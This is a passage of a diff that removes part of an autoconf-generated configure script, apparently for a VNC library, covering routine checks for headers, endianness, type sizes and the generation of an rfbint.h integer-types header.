- ac_cv_lib_socket_getaddrinfo=yes
-else
- ac_cv_lib_socket_getaddrinfo=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_socket_getaddrinfo" >&5
-$as_echo "$ac_cv_lib_socket_getaddrinfo" >&6; }
-if test "x$ac_cv_lib_socket_getaddrinfo" = xyes; then :
- $as_echo "@%:@define IPv6 1" >>confdefs.h
-
-else
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for getaddrinfo in -lws2_32" >&5
-$as_echo_n "checking for getaddrinfo in -lws2_32... " >&6; }
- LIBS="$LIBS -lws2_32"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <ws2tcpip.h>
-int
-main ()
-{
-getaddrinfo(0, 0, 0, 0);
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
- $as_echo "@%:@define IPv6 1" >>confdefs.h
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-
-fi
-
-fi
-
-fi
-
-
-
-# Checks for header files.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for ANSI C header files" >&5
-$as_echo_n "checking for ANSI C header files... " >&6; }
-if ${ac_cv_header_stdc+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdlib.h>
-#include <stdarg.h>
-#include <string.h>
-#include <float.h>
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_header_stdc=yes
-else
- ac_cv_header_stdc=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-if test $ac_cv_header_stdc = yes; then
- # SunOS 4.x string.h does not declare mem*, contrary to ANSI.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <string.h>
-
-_ACEOF
-if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
- $EGREP "memchr" >/dev/null 2>&1; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f conftest*
-
-fi
-
-if test $ac_cv_header_stdc = yes; then
- # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdlib.h>
-
-_ACEOF
-if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
- $EGREP "free" >/dev/null 2>&1; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f conftest*
-
-fi
-
-if test $ac_cv_header_stdc = yes; then
- # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi.
- if test "$cross_compiling" = yes; then :
- :
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <ctype.h>
-#include <stdlib.h>
-#if ((' ' & 0x0FF) == 0x020)
-# define ISLOWER(c) ('a' <= (c) && (c) <= 'z')
-# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c))
-#else
-# define ISLOWER(c) \
- (('a' <= (c) && (c) <= 'i') \
- || ('j' <= (c) && (c) <= 'r') \
- || ('s' <= (c) && (c) <= 'z'))
-# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c))
-#endif
-
-#define XOR(e, f) (((e) && !(f)) || (!(e) && (f)))
-int
-main ()
-{
- int i;
- for (i = 0; i < 256; i++)
- if (XOR (islower (i), ISLOWER (i))
- || toupper (i) != TOUPPER (i))
- return 2;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_stdc" >&5
-$as_echo "$ac_cv_header_stdc" >&6; }
-if test $ac_cv_header_stdc = yes; then
-
-$as_echo "@%:@define STDC_HEADERS 1" >>confdefs.h
-
-fi
-
-for ac_header in arpa/inet.h fcntl.h netdb.h netinet/in.h stdlib.h string.h sys/socket.h sys/time.h sys/timeb.h syslog.h unistd.h ws2tcpip.h
-do :
- as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh`
-ac_fn_c_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default"
-if eval test \"x\$"$as_ac_Header"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-
-done
-
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
- for ac_header in pwd.h sys/wait.h utmpx.h termios.h sys/ioctl.h sys/stropts.h
-do :
- as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh`
-ac_fn_c_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default"
-if eval test \"x\$"$as_ac_Header"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-
-done
-
-fi
-
-# Checks for typedefs, structures, and compiler characteristics.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for an ANSI C-conforming const" >&5
-$as_echo_n "checking for an ANSI C-conforming const... " >&6; }
-if ${ac_cv_c_const+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
-#ifndef __cplusplus
- /* Ultrix mips cc rejects this sort of thing. */
- typedef int charset[2];
- const charset cs = { 0, 0 };
- /* SunOS 4.1.1 cc rejects this. */
- char const *const *pcpcc;
- char **ppc;
- /* NEC SVR4.0.2 mips cc rejects this. */
- struct point {int x, y;};
- static struct point const zero = {0,0};
- /* AIX XL C 1.02.0.0 rejects this.
- It does not let you subtract one const X* pointer from another in
- an arm of an if-expression whose if-part is not a constant
- expression */
- const char *g = "string";
- pcpcc = &g + (g ? g-g : 0);
- /* HPUX 7.0 cc rejects these. */
- ++pcpcc;
- ppc = (char**) pcpcc;
- pcpcc = (char const *const *) ppc;
- { /* SCO 3.2v4 cc rejects this sort of thing. */
- char tx;
- char *t = &tx;
- char const *s = 0 ? (char *) 0 : (char const *) 0;
-
- *t++ = 0;
- if (s) return 0;
- }
- { /* Someone thinks the Sun supposedly-ANSI compiler will reject this. */
- int x[] = {25, 17};
- const int *foo = &x[0];
- ++foo;
- }
- { /* Sun SC1.0 ANSI compiler rejects this -- but not the above. */
- typedef const int *iptr;
- iptr p = 0;
- ++p;
- }
- { /* AIX XL C 1.02.0.0 rejects this sort of thing, saying
- "k.c", line 2.27: 1506-025 (S) Operand must be a modifiable lvalue. */
- struct s { int j; const int *ap[3]; } bx;
- struct s *b = &bx; b->j = 5;
- }
- { /* ULTRIX-32 V3.1 (Rev 9) vcc rejects this */
- const int foo = 10;
- if (!foo) return 0;
- }
- return !cs[0] && !zero.x;
-#endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_const=yes
-else
- ac_cv_c_const=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_const" >&5
-$as_echo "$ac_cv_c_const" >&6; }
-if test $ac_cv_c_const = no; then
-
-$as_echo "@%:@define const /**/" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for inline" >&5
-$as_echo_n "checking for inline... " >&6; }
-if ${ac_cv_c_inline+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_cv_c_inline=no
-for ac_kw in inline __inline__ __inline; do
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#ifndef __cplusplus
-typedef int foo_t;
-static $ac_kw foo_t static_foo () {return 0; }
-$ac_kw foo_t foo () {return 0; }
-#endif
-
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_inline=$ac_kw
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- test "$ac_cv_c_inline" != no && break
-done
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_inline" >&5
-$as_echo "$ac_cv_c_inline" >&6; }
-
-case $ac_cv_c_inline in
- inline | yes) ;;
- *)
- case $ac_cv_c_inline in
- no) ac_val=;;
- *) ac_val=$ac_cv_c_inline;;
- esac
- cat >>confdefs.h <<_ACEOF
-#ifndef __cplusplus
-#define inline $ac_val
-#endif
-_ACEOF
- ;;
-esac
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether byte ordering is bigendian" >&5
-$as_echo_n "checking whether byte ordering is bigendian... " >&6; }
-if ${ac_cv_c_bigendian+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_cv_c_bigendian=unknown
- # See if we're dealing with a universal compiler.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#ifndef __APPLE_CC__
- not a universal capable compiler
- #endif
- typedef int dummy;
-
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
-
- # Check for potential -arch flags. It is not universal unless
- # there are at least two -arch flags with different values.
- ac_arch=
- ac_prev=
- for ac_word in $CC $CFLAGS $CPPFLAGS $LDFLAGS; do
- if test -n "$ac_prev"; then
- case $ac_word in
- i?86 | x86_64 | ppc | ppc64)
- if test -z "$ac_arch" || test "$ac_arch" = "$ac_word"; then
- ac_arch=$ac_word
- else
- ac_cv_c_bigendian=universal
- break
- fi
- ;;
- esac
- ac_prev=
- elif test "x$ac_word" = "x-arch"; then
- ac_prev=arch
- fi
- done
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test $ac_cv_c_bigendian = unknown; then
- # See if sys/param.h defines the BYTE_ORDER macro.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
- #include <sys/param.h>
-
-int
-main ()
-{
-#if ! (defined BYTE_ORDER && defined BIG_ENDIAN \
- && defined LITTLE_ENDIAN && BYTE_ORDER && BIG_ENDIAN \
- && LITTLE_ENDIAN)
- bogus endian macros
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- # It does; now see whether it defined to BIG_ENDIAN or not.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
- #include <sys/param.h>
-
-int
-main ()
-{
-#if BYTE_ORDER != BIG_ENDIAN
- not big endian
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_bigendian=yes
-else
- ac_cv_c_bigendian=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- fi
- if test $ac_cv_c_bigendian = unknown; then
- # See if <limits.h> defines _LITTLE_ENDIAN or _BIG_ENDIAN (e.g., Solaris).
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <limits.h>
-
-int
-main ()
-{
-#if ! (defined _LITTLE_ENDIAN || defined _BIG_ENDIAN)
- bogus endian macros
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- # It does; now see whether it defined to _BIG_ENDIAN or not.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <limits.h>
-
-int
-main ()
-{
-#ifndef _BIG_ENDIAN
- not big endian
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_bigendian=yes
-else
- ac_cv_c_bigendian=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- fi
- if test $ac_cv_c_bigendian = unknown; then
- # Compile a test program.
- if test "$cross_compiling" = yes; then :
- # Try to guess by grepping values from an object file.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-short int ascii_mm[] =
- { 0x4249, 0x4765, 0x6E44, 0x6961, 0x6E53, 0x7953, 0 };
- short int ascii_ii[] =
- { 0x694C, 0x5454, 0x656C, 0x6E45, 0x6944, 0x6E61, 0 };
- int use_ascii (int i) {
- return ascii_mm[i] + ascii_ii[i];
- }
- short int ebcdic_ii[] =
- { 0x89D3, 0xE3E3, 0x8593, 0x95C5, 0x89C4, 0x9581, 0 };
- short int ebcdic_mm[] =
- { 0xC2C9, 0xC785, 0x95C4, 0x8981, 0x95E2, 0xA8E2, 0 };
- int use_ebcdic (int i) {
- return ebcdic_mm[i] + ebcdic_ii[i];
- }
- extern int foo;
-
-int
-main ()
-{
-return use_ascii (foo) == use_ebcdic (foo);
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- if grep BIGenDianSyS conftest.$ac_objext >/dev/null; then
- ac_cv_c_bigendian=yes
- fi
- if grep LiTTleEnDian conftest.$ac_objext >/dev/null ; then
- if test "$ac_cv_c_bigendian" = unknown; then
- ac_cv_c_bigendian=no
- else
- # finding both strings is unlikely to happen, but who knows?
- ac_cv_c_bigendian=unknown
- fi
- fi
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-
- /* Are we little or big endian? From Harbison&Steele. */
- union
- {
- long int l;
- char c[sizeof (long int)];
- } u;
- u.l = 1;
- return u.c[sizeof (long int) - 1] == 1;
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_c_bigendian=no
-else
- ac_cv_c_bigendian=yes
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
- fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_bigendian" >&5
-$as_echo "$ac_cv_c_bigendian" >&6; }
- case $ac_cv_c_bigendian in #(
- yes)
- $as_echo "@%:@define WORDS_BIGENDIAN 1" >>confdefs.h
-;; #(
- no)
- ;; #(
- universal)
-
-$as_echo "@%:@define AC_APPLE_UNIVERSAL_BUILD 1" >>confdefs.h
-
- ;; #(
- *)
- as_fn_error $? "unknown endianness
- presetting ac_cv_c_bigendian=no (or yes) will help" "$LINENO" 5 ;;
- esac
-
-ac_fn_c_check_type "$LINENO" "size_t" "ac_cv_type_size_t" "$ac_includes_default"
-if test "x$ac_cv_type_size_t" = xyes; then :
-
-else
-
-cat >>confdefs.h <<_ACEOF
-@%:@define size_t unsigned int
-_ACEOF
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether time.h and sys/time.h may both be included" >&5
-$as_echo_n "checking whether time.h and sys/time.h may both be included... " >&6; }
-if ${ac_cv_header_time+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
-#include <sys/time.h>
-#include <time.h>
-
-int
-main ()
-{
-if ((struct tm *) 0)
-return 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_header_time=yes
-else
- ac_cv_header_time=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_time" >&5
-$as_echo "$ac_cv_header_time" >&6; }
-if test $ac_cv_header_time = yes; then
-
-$as_echo "@%:@define TIME_WITH_SYS_TIME 1" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sys/wait.h that is POSIX.1 compatible" >&5
-$as_echo_n "checking for sys/wait.h that is POSIX.1 compatible... " >&6; }
-if ${ac_cv_header_sys_wait_h+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
-#include <sys/wait.h>
-#ifndef WEXITSTATUS
-# define WEXITSTATUS(stat_val) ((unsigned int) (stat_val) >> 8)
-#endif
-#ifndef WIFEXITED
-# define WIFEXITED(stat_val) (((stat_val) & 255) == 0)
-#endif
-
-int
-main ()
-{
- int s;
- wait (&s);
- s = WIFEXITED (s) ? WEXITSTATUS (s) : 1;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_header_sys_wait_h=yes
-else
- ac_cv_header_sys_wait_h=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_sys_wait_h" >&5
-$as_echo "$ac_cv_header_sys_wait_h" >&6; }
-if test $ac_cv_header_sys_wait_h = yes; then
-
-$as_echo "@%:@define HAVE_SYS_WAIT_H 1" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for socklen_t" >&5
-$as_echo_n "checking for socklen_t... " >&6; }
-if ${ac_cv_type_socklen_t+:} false; then :
- $as_echo_n "(cached) " >&6
-else
-
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
- #include <sys/socket.h>
-int
-main ()
-{
-socklen_t len = 42; return 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_type_socklen_t=yes
-else
- ac_cv_type_socklen_t=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_type_socklen_t" >&5
-$as_echo "$ac_cv_type_socklen_t" >&6; }
- if test $ac_cv_type_socklen_t != yes; then
- $as_echo "@%:@define socklen_t int" >>confdefs.h
-
- fi
-
-if test ! -d ./rfb; then
- echo "creating subdir ./rfb for rfbint.h"
- mkdir ./rfb
-fi
-# ------ AC CREATE STDINT H -------------------------------------
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for stdint-types...." >&5
-$as_echo_n "checking for stdint-types....... " >&6; }
-ac_stdint_h=`echo rfb/rfbint.h`
-if test "$ac_stdint_h" = "stdint.h" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: \"(are you sure you want them in ./stdint.h?)\"" >&5
-$as_echo "\"(are you sure you want them in ./stdint.h?)\"" >&6; }
-elif test "$ac_stdint_h" = "inttypes.h" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: \"(are you sure you want them in ./inttypes.h?)\"" >&5
-$as_echo "\"(are you sure you want them in ./inttypes.h?)\"" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: \"(putting them into $ac_stdint_h)\"" >&5
-$as_echo "\"(putting them into $ac_stdint_h)\"" >&6; }
-fi
-
-inttype_headers=`echo inttypes.h sys/inttypes.h sys/inttypes.h \
-| sed -e 's/,/ /g'`
-
- ac_cv_header_stdint_x="no-file"
- ac_cv_header_stdint_o="no-file"
- ac_cv_header_stdint_u="no-file"
- for i in stdint.h $inttype_headers ; do
- unset ac_cv_type_uintptr_t
- unset ac_cv_type_uint64_t
- ac_fn_c_check_type "$LINENO" "uintptr_t" "ac_cv_type_uintptr_t" "#include <$i>
-"
-if test "x$ac_cv_type_uintptr_t" = xyes; then :
- ac_cv_header_stdint_x=$i
-else
- continue
-fi
-
- ac_fn_c_check_type "$LINENO" "uint64_t" "ac_cv_type_uint64_t" "#include<$i>
-"
-if test "x$ac_cv_type_uint64_t" = xyes; then :
- and64="(uint64_t too)"
-else
- and64=""
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen our uintptr_t in $i $and64" >&5
-$as_echo "... seen our uintptr_t in $i $and64" >&6; }
- break;
- done
- if test "$ac_cv_header_stdint_x" = "no-file" ; then
- for i in stdint.h $inttype_headers ; do
- unset ac_cv_type_uint32_t
- unset ac_cv_type_uint64_t
- ac_fn_c_check_type "$LINENO" "uint32_t" "ac_cv_type_uint32_t" "#include <$i>
-"
-if test "x$ac_cv_type_uint32_t" = xyes; then :
- ac_cv_header_stdint_o=$i
-else
- continue
-fi
-
- ac_fn_c_check_type "$LINENO" "uint64_t" "ac_cv_type_uint64_t" "#include<$i>
-"
-if test "x$ac_cv_type_uint64_t" = xyes; then :
- and64="(uint64_t too)"
-else
- and64=""
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen our uint32_t in $i $and64" >&5
-$as_echo "... seen our uint32_t in $i $and64" >&6; }
- break;
- done
- if test "$ac_cv_header_stdint_o" = "no-file" ; then
- for i in sys/types.h $inttype_headers ; do
- unset ac_cv_type_u_int32_t
- unset ac_cv_type_u_int64_t
- ac_fn_c_check_type "$LINENO" "u_int32_t" "ac_cv_type_u_int32_t" "#include <$i>
-"
-if test "x$ac_cv_type_u_int32_t" = xyes; then :
- ac_cv_header_stdint_u=$i
-else
- continue
-fi
-
- ac_fn_c_check_type "$LINENO" "uint64_t" "ac_cv_type_uint64_t" "#include<$i>
-"
-if test "x$ac_cv_type_uint64_t" = xyes; then :
- and64="(u_int64_t too)"
-else
- and64=""
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen our u_int32_t in $i $and64" >&5
-$as_echo "... seen our u_int32_t in $i $and64" >&6; }
- break;
- done
- fi
- fi
-
-# ----------------- DONE inttypes.h checks MAYBE C basic types --------
-
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of char" >&5
-$as_echo_n "checking size of char... " >&6; }
-if ${ac_cv_sizeof_char+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (char) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_char=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_char != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_char = x ; then
- as_fn_error $? "cannot determine a size for char" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_char" >&5
-$as_echo "$ac_cv_sizeof_char" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-@%:@define SIZEOF_CHAR $ac_cv_sizeof_char
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of short" >&5
-$as_echo_n "checking size of short... " >&6; }
-if ${ac_cv_sizeof_short+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (short) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_short=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_short != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_short = x ; then
- as_fn_error $? "cannot determine a size for short" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_short" >&5
-$as_echo "$ac_cv_sizeof_short" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-@%:@define SIZEOF_SHORT $ac_cv_sizeof_short
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of int" >&5
-$as_echo_n "checking size of int... " >&6; }
-if ${ac_cv_sizeof_int+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (int) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_int=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_int != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_int = x ; then
- as_fn_error $? "cannot determine a size for int" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_int" >&5
-$as_echo "$ac_cv_sizeof_int" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-@%:@define SIZEOF_INT $ac_cv_sizeof_int
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of long" >&5
-$as_echo_n "checking size of long... " >&6; }
-if ${ac_cv_sizeof_long+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (long) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_long=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_long != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_long = x ; then
- as_fn_error $? "cannot determine a size for long" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_long" >&5
-$as_echo "$ac_cv_sizeof_long" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-@%:@define SIZEOF_LONG $ac_cv_sizeof_long
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of void*" >&5
-$as_echo_n "checking size of void*... " >&6; }
-if ${ac_cv_sizeof_voidp+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (void*) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_voidp=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_voidp != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_voidp = x ; then
- as_fn_error $? "cannot determine a size for void*" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_voidp" >&5
-$as_echo "$ac_cv_sizeof_voidp" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-@%:@define SIZEOF_VOIDP $ac_cv_sizeof_voidp
-_ACEOF
-
-
- ac_cv_header_stdint_test="yes"
-else
- ac_cv_header_stdint_test="no"
-fi
-
-# ----------------- DONE inttypes.h checks START header -------------
-_ac_stdint_h=`$as_echo "_$ac_stdint_h" | $as_tr_cpp`
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: creating $ac_stdint_h : $_ac_stdint_h" >&5
-$as_echo "creating $ac_stdint_h : $_ac_stdint_h" >&6; }
-echo "#ifndef" $_ac_stdint_h >$ac_stdint_h
-echo "#define" $_ac_stdint_h "1" >>$ac_stdint_h
-echo "#ifndef" _GENERATED_STDINT_H >>$ac_stdint_h
-echo "#define" _GENERATED_STDINT_H '"'$PACKAGE $VERSION'"' >>$ac_stdint_h
-if test "$GCC" = "yes" ; then
- echo "/* generated using a gnu compiler version" `$CC --version` "*/" \
- >>$ac_stdint_h
-else
- echo "/* generated using $CC */" >>$ac_stdint_h
-fi
-echo "" >>$ac_stdint_h
-
-if test "$ac_cv_header_stdint_x" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_x"
-elif test "$ac_cv_header_stdint_o" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_o"
-elif test "$ac_cv_header_stdint_u" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_u"
-else
- ac_cv_header_stdint="stddef.h"
-fi
-
-# ----------------- See if int_least and int_fast types are present
-unset ac_cv_type_int_least32_t
-unset ac_cv_type_int_fast32_t
